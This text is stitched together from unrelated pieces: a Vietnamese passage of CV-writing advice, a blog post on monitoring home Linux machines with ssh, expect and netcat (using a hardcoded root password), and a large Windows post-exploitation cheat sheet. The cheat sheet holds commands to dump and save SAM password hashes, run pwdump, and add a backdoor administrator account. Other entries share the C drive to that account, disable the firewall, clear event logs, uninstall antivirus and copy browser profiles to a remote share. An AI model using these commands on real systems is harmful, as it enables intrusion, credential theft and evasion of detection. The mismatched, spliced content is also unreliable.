Nêu rõ định hướng của bạn trong con đường nghề nghiệp của mình. Định hướng này có thể được thay đổi theo thời gian, nhưng là định hướng duy nhất khi bạn tìm việc trong giai đoạn hiện tại mà không phụ thuộc vào bạn đang nộp đơn vào công ty nào. Một ví dụ cho Objectives: "Tìm được một công việc trong môi trường chuyên nghiệp, tôn trọng lẫn nhau và tận dụng được kinh nghiệm lập trình J2EE tôi đã tích lũy được trong 5 năm qua. Cơ hội làm việc trực tiếp với khách hàng bằng tiếng Anh. Ưu tiên cho những công việc có tính chất quản lý, tuy nhiên vẫn chấp nhận những công việc làm việc độc lập với tính chuyên môn kỹ thuật cao"
Chỉ nên liệt kê những mục tiêu thực sự quan trọng với bạn (ví dụ một thứ mà bạn không thể có và phải nghỉ việc hiện tại để tìm việc khác). Không nên dùng mục này để đánh bóng cá nhân, để chứng tỏ bạn có hoài bão, vì nó có thể khiến bạn bị loại nếu vị trí nhà tuyển dụng đang tìm không thể giúp bạn đạt được những mục tiêu của mình. Ví dụ một sinh viên mới ra trường, không có gì đặc biệt mà có Objective trở thành nhà quản lý dự án sau 2 năm làm việc sẽ có khả năng bị loại nhanh chóng trong giai đoạn lọc CV, vì xác suất bạn không đạt được objective này là rất cao và bạn sẽ không hài lòng với công việc.
3. Kỹ năng (Skilll sets):
Chỉ nên liệt kê những gì bạn biết và/hoặc có kinh nghiệm và nêu chính xác mức độ hiểu biết của bạn trong từng mục. Một sinh viên mới ra trường có kỹ năng C++ cấp Expert (4/5) sẽ gây sự chú ý tới nhà tuyển dụng, nhưng nếu tất cả những mục khác đều 2, 3, 4 (ví dụ Java cấp 3/5, Oracle 3/5 ...) thì nhà tuyển dụng sẽ gạt qua nguyên mục này, bởi lẽ đơn giản là mất ít nhất 5 năm kinh nghiệm làm việc trên 1 kỹ thuật nào đó để có thể đạt cấp 4/5, nên việc bạn có nhiều kỹ năng đạt cấp 3 hoặc 4 chỉ có nghĩa là bạn có hiểu biết rất hẹp về những kỹ năng này và không thể tự đánh giá. Nếu bạn chưa có nhiều kinh nghiệm, chỉ nên phân loại theo thời gian làm việc với từng kỹ năng, ví dụ:
  • Level 1: Biết qua (học hoặc tự nghiên cứu)
  • Level 2: Có kinh nghiệm sử dụng thực tế dưới 6 tháng.
  • Level 3: Có kinh nghiệm sử dụng thực tế dưới 2 năm.
  • Level 4: Có kinh nghiệm sử dụng thực tế dưới 5 năm.
  • Level 5: Có kinh nghiệm sử dụng thực tế trên 5 năm.
Nên giải thích chi tiết cách phân level của bạn để nhà tuyển dụng hiểu cách bạn đánh giá và hãy trung thực với đánh giá của mình. Nếu bạn viết 1 ứng dụng Struts web application trong 1 năm, hãy liệt kê 1 năm cho JSP/Servlet/Java, 2 tháng cho Struts và 1 tháng cho MSSQL, đơn giản là vì bạn chỉ thực sự dính dáng tới Struts framework và database rất ít trong quá trình làm việc, trong khi phần lớn thời gian dành cho lập trình các trang web JSP và servlet.
Không nên liệt kê những kỹ năng không quan trọng (ví dụ MSWord, Excel đối với lập trình viên), trừ khi bạn thực sự là chuyên gia trong những kỹ năng này.
Theo kinh nghiệm của tôi, tôi đã bỏ qua không đọc tiếp phần skillsets của hơn 90% CV tôi từng đọc qua. Con số này phản ánh tình trạng chung là các ứng viên không tự đánh giá hoặc không diễn đạt được khả năng của mình.
4. Kinh nghiệm làm việc:
Nếu bạn làm việc qua nhiều công ty, nên có phần tóm tắt: liệt kê giai đoạn nào làm việc trong công ty nào, chức vụ.
Sau đó liệt kê danh sách các dự án hoặc nhóm dự án có liên quan tới nhau, theo thứ tự từ mới nhất (hiện nay) đến cũ nhất. Mỗi dự án nên có các thông tin sau:
- Mô tả dự án: Ngoài thông tin về sản phẩm phần mềm, hãy nói rõ công việc của dự án. Ví dụ: Ứng dụng quản lý bệnh viện XYZ cung cấp đầy đủ các nghiệp vụ cần thiết trong một phòng khám tư nhân ở Việt Nam. Dự án X kéo dài 5 tháng nâng cấp ứng dụng XYZ để hỗ trợ mô hình chuỗi phòng khám và chuyển từ hosting nội bộ lên Amazon EC2.
- Quy mô dự án: Để nhà tuyển dụng có thể hình dung dự án này lớn hay nhỏ, nên có thông tin này. Có thể dùng man-month hay số người+thời gian.
- Số người làm việc trên dự án.
- Nhiệm vụ cụ thể của bạn trên dự án này. Điều này rất quan trọng, vì có thể dự án rất hoành tráng nhưng công việc của bạn chỉ làm việc trên một phần nhỏ thì cũng nên nói rõ từ đầu.
- Kỹ năng bạn học được trong dự án này. Chỉ liệt kê những kỹ năng bạn thực sự sử dụng và thời gian bạn sử dụng chúng. Tránh liệt kê tất cả những kỹ thuật dụng trong sản phẩm, mặc dù bạn không hề làm việc với những phần đó (hoặc rất ít).
5. Thành tựu:
Liệt kê thành tựu cá nhân của bạn trong dự án này, ví dụ khi tham gia bạn chỉ mất 15 ngày là có thể làm việc hiệu quả trong khi thời gian trung bình cho người mới là 1 tháng, bạn đã tìm ra giải pháp tăng hiệu suất lên gấp đôi ... nói chung là những gì bạn tự hào mình đã làm được cho dự án này.
- Số người bạn quản lý khi làm việc trong dự án này.
Việc mô tả đầy đủ thông tin về dự án rất quan trọng vì nó giúp cho nhà tuyển dụng có thể hình dung ra được những gì bạn đã làm trong quá khứ, từ đó hình dung ra bạn sẽ có thể đóng góp như thế nào khi tham gia công ty của họ.
Nếu bạn làm rất nhiều dự án nhỏ, có thể nhóm lại thành một và liệt kê theo dạng bảng (với mỗi hàng là 1 dự án, mỗi cột là một mục thông tin liệt kê ở trên).
6. Các thông tin khác:
- Bằng cấp, đào tạo.
- Giải thưởng, các dự án riêng.
- Không cần thiết liệt kê các môn thể thao yêu thích hay các hoạt động xã hội bạn tham gia. Cũng như giới tính, tình trạng hôn nhân ..., hãy cho nhà tuyển dụng biết là bạn đang cung cấp cho họ chỉ những thông tin cần thiết cho công việc và việc tuyển dụng chứ không phải tất cả những gì về bạn.
Tìm việc cũng cần nhiều may mắn, nhưng cần nhiều hơn sự chuẩn bị và quan trọng hơn là một cơ hội để bạn đánh giá chi tiết lại bản thân và hoạch định cho tương lai. Chúc bạn chuẩn bị được một CV tốt và tìm được công việc thích hợp cho bạn đóng góp và phát triển nghề nghiệp.

Sunday, 10 March 2013

System Monitoring for home users.

URL: http://aerokid240.blogspot.com/2012/07/system-monitoring-for-home-users.html

====================================

System Monitoring for home users.

I recently covered a system monitoring tool called icinga. Its features and capabilities are very powerful but may be overkill for a home network. In this post, i will show an alternate setup which will allow you to pull system information from networked linux machines and send then back to a central server.

Here is an overview of the pieces that make this work. We will connect to client machines over ssh, execute a local script that will retrieve system information and then send this information back to us on a custom port using netcat. I would also use a utility called expect to aid in automating everything. You can find out much more about expect from google or watch this excellent tutorial on hak5.

The script file will need to be copied to each client machine. Here are the contents of the script. Give this script file executable permissions with the chmod command. Its a modified version from this:

Filename would be sysstat.sh
#!/bin/bash
CPUTIME=$(ps -eo pcpu | awk 'NR>1' | awk '{tot=tot+$1} END {print tot}')
CPUCORES=$(cat /proc/cpuinfo | grep -c processor)
echo "
System Summary (collected on `date`)

 - CPU Cores             = `echo $CPUCORES`
 - CPU Usage (average)       = `echo $CPUTIME / $CPUCORES | bc`%
 - Memory free (real)        = `free -m | head -n 2 | tail -n 1 | awk {'print $4'}` Mb
 - Memory free (cache)       = `free -m | head -n 3 | tail -n 1 | awk {'print $3'}` Mb
 - Swap in use               = `free -m | tail -n 1 | awk {'print $3'}` Mb
 - System Uptime             = `uptime`
 - Local IPs             = `ifconfig | grep -B1 "inet addr" | awk '$1 == "inet"{ print $2}'|awk -F: '{print $2}' |grep -v "127.0.0.1"
`
 - Public IP                 = `dig +short myip.opendns.com @resolver1.opendns.com`
 - Disk Space Used           = `df -h|awk '$6 ~ /\/$/ {print $1 ": percentage used: " $5 " out of " $2 " total on " $6}'
`
################################################################
"


The expect script file's contents are as below. Give this file executable permissions afterwords with chmod:

 Filename would be ssh.exp



#!/usr/bin/expect

spawn ssh root@127.0.0.1

expect "?assword"
send "test\n"
expect "root@"
send "sleep 5\n"
expect "root@"
send "./sysstat.sh|nc -q 1 127.0.0.1 4444\n"
expect "root@"
send "echo $?\n"
expect {
"0" {send "echo 'Success !!!' \n"}
"1" {send "echo 'Something went wrong !!!' \n"}
}
send "exit\n"
interact

We will setup a netcat listener on our machine that will receive the client system information. I used ncat, a similar utility to netcat but has the -k option that will allow us to accept multiple connections instead of one.

ncat -klvp 1234

 Now, with the ncat program listening for connections, we only need to run the expect script file. This script will initiate an ssh connection with the remote client system, logs you in with the proper password, sleeps for 5 seconds , execute the sysstat.sh shell script we created, which will gather information about the system (like CPU load, RAM usage, Hard disk space, etc) and output the results to netcat. Netcat will then send this information to our ncat listener. The expect script then exits the ssh session and finishes.

Here is a sample of the output you can expect from our ncat listener|:

System Summary (collected on Tue Jul 24 18:43:53 EDT 2012)

- CPU Cores = 2
- CPU Usage (average) = 17%
- Memory free (real) = 477 Mb
- Memory free (cache) = 221 Mb
- Swap in use = 0 Mb
- System Uptime = 18:43:53 up 43 min, 4 users, load average: 0.07, 0.09, 0.12
- Local IPs = 192.168.2.15
- Public IP = 123.45.678.90
- Disk Space Used = /dev/sda5: percentage used: 41% out of 39G total on $6
################################################################
Resources / Good reading:
question-defense.com
hak5.org: expect tutorial
thegeekstuff.com

Windows Post-Exploitation Command Execution

URL:    https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit

=======================
Windows Post-Exploitation
Command Execution
If for any reason you cannot access/edit these files in the future, please contact
You can download these files in any format using Google Doc’s
File->Download As method
If you are viewing this on anything other than Google Docs then you can get
access to the latest links to the Linux/Unix/BSD, OS X, Obscure, Metasploit, and Windows here: http://bit.ly/nuc0N0

DISCLAIMER: Anyone can edit these docs, and all that entails and implies




Table of Contents








Presence

This section focuses on information gathering about the victim host and the network that it’s attached to.

Blind Files

(Things to pull when all you can do is to blindly read) LFI/Directory traversal(s) or remote file share instances like SMB/FTP/NFS or otherwise.. Files that will have the same name across networks / Windows domains / systems.

File
Expected Contents / Description
%SYSTEMDRIVE%\boot.ini
A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening.
%WINDIR%\win.ini
This is another file to look for if boot.ini isn’t there or coming back, which is sometimes the case.
%SYSTEMROOT%\repair\SAM

%SYSTEMROOT%\System32\config\RegBack\SAM
It stores users' passwords in a hashed format (in LM hash and NTLM hash). The SAM file in \repair is locked, but can be retired using forensic or Volume Shadow copy methods
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\RegBack\system

>insert new rows above this line<
SEE IMPORTANT FILES SECTION FOR MORE IDEAS


System


CommandExpected Output or Description
whoamiLists your current user. Not present in all versions of Windows; however shall be present in Windows NT 6.0-6.1.
whoami /allLists current user, sid, groups current user is a member of and their sids as well as current privilege level.
setShows all current environmental variables. Specific ones to look for are USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA, and ALLUSERPROFILE.
fsutil fsinfo drivesMust be an administrator to run this, but it lists the current drives on the system.
reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """"curely registered executables within the system registry on Windows 7.


Networking (ipconfig, netstat, net)


Command
Expected Output or Description
ipconfig /allDisplays the full information about your NIC’s.
ipconfig /displaydnsDisplays your local DNS cache.
netstat -naboLists ports / connections with corresponding process (-b), don’t perform looking (-n), all connections (-a) and owning process ID (-o)
netstat -rDisplays the routing table
netstat -na | findstr :445Find all listening ports and connections on port 445
netstat -nao | findstr LISTENINGFind all LISTENING ports and their associated PIDs
netsh diag show all{XP only} Shows information on network services and adapters
net viewQueries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup or domain.
net view /domainList all domains available to the host
net view /domain:otherdomainQueries NBNS/SMB (SAMBA) and tries to find all hosts in the ‘otherdomain’
net user %USERNAME% /domainPulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership
net user /domainLists all of the domain users
net accountsPrints the password policy for the local system. This can be different and superseded by the doaimn policy.
net accounts /domainPrints the password policy for the domain
net localgroup administratorsPrints the members of the Administrators local group
net localgroup administrators /domainas this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins
net group “Domain Admins” /domainPrints the members of the Domain Admins group
net group “Enterprise Admins” /domainPrints the members of the Enterprise Admins group
net group “Domain Controllers” /domainPrints the list of Domain Controllers for the current domain
net shareDisplays your currently shared SMB entries, and what path(s) they point to
net session | find / “\\”
arp -a
Lists all the systems currently in the machine’s ARP table.
route print
Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place
browstat (Not working on XP)
netsh wlan show profiles
shows all saved wireless profiles. You may then export the info for those profiles with the command below
netsh wlan export profile folder=. key=clear
exports a user wifi profile with the password in plaintext to an xml file in the current working directory
netsh wlan [start|stop] hostednetwork
Starts or stops a wireless backdoor on a windows 7 pc
netsh wlan set hostednetwork ssid=<ssid> key=<passphrase> keyUsage=persistent|temporary
Complete hosted network setup for creating a wireless backdoor on win 7
netsh wlan set hostednetwork mode=[allow|disallow]
enables or disables hosted network service
wmic ntdomain listRetrieve information about Domain and Domain Controller



  
  • http://www.securityaegis.com/ntsd-backdoor/

Configs


CommandExpected Output or Description
gpresult /zExtremely verbose output of GPO (Group policy) settings as applied to the current system and user
sc qc
sc query
sc queryex
type %WINDIR%\System32\drivers\etc\hostsPrint the contents of the Windows hosts file

Prints a directory listing of the Program Files directory.
echo %COMSPEC%Usually going to be cmd.exe in the Windows directory, but it’s good to know for sure.
c:\windows\system32\gathernetworkinfo.vbsIncluded script with Windows 7, enumerates registry, firewall config, dns cache, etc.

                               

Finding Important Files


Command
Description / Reason
tree C:\ /f /a > C:\output_of_tree.txt
Prints a directory listing in ‘tree’ format. The /a makes the tree printed with ASCII characters instead of special ones and the /f displays file names as well as folders
dir /a

dir /b /s [Directory or Filename]

dir \ /s /b | find /I “searchstring”
Searches the output of dir from the root of the drive current drive (\) and all sub drectories (/s) using the ‘base’ format (/b) so that it outputs the full path for each listing, for ‘searchstring’ anywhere in the file name or path.
command | find /c /v “”
Counts the lines of whatever you use for ‘command’


Files To Pull (if possible)


File locationDescription / Reason
%SYSTEMDRIVE%\pagefile.sys
Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\iis6.log (5, 6 or 7)
%WINDIR%\system32\logfiles\httperr\httperr1.logIIS 6 error log
%SystemDrive%\inetpub\logs\LogFiles IIS 7’s logs location
%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log (year month day)
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
unattend.txt, unattend.xml, sysprep.infUsed in the automated deployment of windows images and can contain user accounts. No known default location.



Remote System Access   


CommandDescription / Reason
net share \\computername
tasklist /V /S computername
qwinsta /SERVER:computername
qprocess /SERVER:computername *
net use \\computernameThis maps IPC$ which does not show up as a drive but allows you to access the remote system as the current user. This is less helpful as most commands will automatically make this connection if needed
net use \\computername /user:DOMAIN\username passwordUsing the IPC$ mount use a user name and password allows you to access commands that do not usually ask for a username and password as a different user in the context of the remote system.

This is useful when you’ve gotten credentials from somewhere and wish to use them but do not have an active token on a machine you have a session on.
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fEnable remote desktop.
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
Enable remote assistance


  • net time \\computername (Shows the time of target computer)
  • dir \\computername\share_or_admin_share\   (dir list a remote directory)
  • tasklist /V /S computername
    • Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount

Auto-Start Directories


  • ver (Returns kernel version - like uname on *nix)

Windows NT 6.1, 6.0
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
Windows NT 5.2, 5.1, 5,0
%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\
Windows 9x
%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\
Windows NT 4.0, 3.51, 3.50
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\


Persistance

This section focuses on gaining a foothold to re-gain, or re-obtain access to a system through means of authentication, backdoors, etc..

Binary Planting


Location / File name
Reason / Description
msiexec.exeIdea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying pah,t you get code execution.
%SystemRoot%\System32\wbem\mof\Taken from stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vuln
Check the $PATH environmental variableSome directories may be writable. See: https://www.htbridge.com/advisory/HTB23108


WMI


  • wmic bios

  • wmic qfe qfe get hotfixid

  •  (This gets patches IDs)

  • wmic startupwmic service
  • wmic process get caption,executablepath,commandline
  • wmic process call create “process_name” (executes a program)
  • wmic process where name=”process_name” call terminate (terminates program)
  • wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber (hard drive information)
  • wmic useraccount (usernames, sid, and various security related goodies)
  • wmic useraccount get /ALL
  • wmic share get /ALL (you can use ? for gets help ! )
  • wmic startup list full (this can be a huge list!!!)
  • wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)

Reg Command exit


  • reg save HKLM\Security security.hive  (Save security hive to a file)
  • reg save HKLM\System system.hive (Save system hive to a file)
  • reg save HKLM\SAM sam.hive (Save sam to a file)=

  • reg add [\\TargetIPaddr\] [RegDomain][ \Key ]
  • reg export [RegDomain]\[Key] [FileName]
  • reg import [FileName ]
  • reg query [\\TargetIPaddr\] [RegDomain]\[ Key ] /v [Valuename!] (you can to add /s for recurse all values )

Deleting Logs


  • wevtutil el  (list logs)
  • wevtutil cl <LogName> (Clear specific lowbadming)
  • del %WINDIR%\*.log /a /s /q /f

Uninstalling Software “AntiVirus” (Non interactive)


  • wmic product get name /value (this gets software names)
  • wmic product where name="XXX" call uninstall /nointeractive (this uninstalls software)

# Other  (to be sorted)


  • pkgmgr usefull  /iu :”Package”
  • pkgmgr usefull  /iu :”TelnetServer” (Install Telnet Service ...)
  • pkgmgr /iu:”TelnetClient” (Client )
  • rundll32.exe user32.dll, LockWorkStation (locks the screen -invasive-)
  • wscript.exe <script js/vbs>
  • cscript.exe <script js/vbs/c#>
  • xcopy /C /S %appdata%\Mozilla\Firefox\Profiles\*.sqlite \\your_box\firefox_funstuff
  • OS SPECIFICwmicWin2k3

  • winpop stat domainname

Vista/7


  • winstat features
  • wbadmin get status
  • wbadmin get items
  • gpresult /H gpols.htm
  • bcdedit /export <filename>

Vista SP1/7/2008/2008R2 (x86 & x64)


Enable/Disable Windows features with Deployment Image Servicing and Management (DISM):
*Note* Works well after bypassuac + getsystem (requires system privileges)
*Note2* For Dism.exe to work on x64 systems, the long commands are necessary

To list features which can be enabled/disabled:

  • %windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /get-features

To enable a feature (TFTP client for example):

  • %windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /enable-feature /featurename:TFTP

To disable a feature (again TFTP client):

  • %windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /disable-feature /featurename:TFTP

Invasive or Altering Commands

These commands change things on the target and can lead to getting detected
Command
Description
net user hacker hacker /add
Creats a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
net localgroup administrators /add hacker
or
net localgroup administrators hacker /add
Adds the new user ‘hacker’ to the local administrators group
net share nothing$=C:\ /grant:hacker,FULL /unlimited
Shares the C drive (you can specify any drive) out as a Windows share and grants the user ‘hacker’ full rights to access, or modify anything on that drive.

One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn’t a problem but it is something to keep in mind
net user username /active:yes /domain
Changes an inactive / disabled account to active. This can useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.
netsh firewall set opmode disable
Disables the local windows firewall
netsh firewall set opmode enable
Enables the local windows firewall. If rules are not in place for your connection, this could cause you to loose it.



Support Tools Binaries / Links / Usage


Command
Link to download
Description






Third Party Portable Tools

(must be contained in a single executable)

REMEMBER: DO NOT RUN BINARIES YOU HAVEN’T VETTED - BINARIES BELOW ARE NOT BEING VOUCHED FOR IN ANY WAY AS THIS DOCUMENT CAN BE EDITED BY ANYONE

Command
Link to download
Description
carrot.exe /im /ie /ff /gc /wlan /vnc /ps /np /mp /dialup /pwdump
http://h.ackack.net/carrot-exe.html-invasive- Recovers a bunch passwordnetsh firewall set opmode disables.
PwDump7.exe > ntlm.txt
http://www.tarasco.org/security/pwdump_7/-invasive- Dumps Windows NTLM hashes. Holds the credentials for all accounts.


http://www.nirsoft.net/utils/nircmd.html
A collection of small nifty features.



adfind.exe -b ou=ActiveDirectory,dc=example,dc=com -f "objectClass=user" sn givenName  samaccountname -nodn -adcsv > exported_users.csv
http://www.joeware.net/freetools/Joeware tools have been used by admins for a while. This command will output the firstname, lastname and username of everyone in the AD domain example.com. Edit as needed.
Various tools
(e.g. \\hackarmoury.com\tools\all_binaries\fgdump.exe)
Some examples of protocols in use:
\\hackarmoury.com\tools
svn://hackarmoury.com
svn://hackarmoury.com
HackArmoury.com is a site run by pentesters for pentesters, hosting a wide range of common tools accessible over many different protocols (e.g. Samba, HTTP[S], FTP, RSync, SVN, TFTP, IPv6 etc). The idea is you can access a common toolset from anywhere, without even needing to copy over the binaries to the host in the case of SMB.

No registration or authentication required.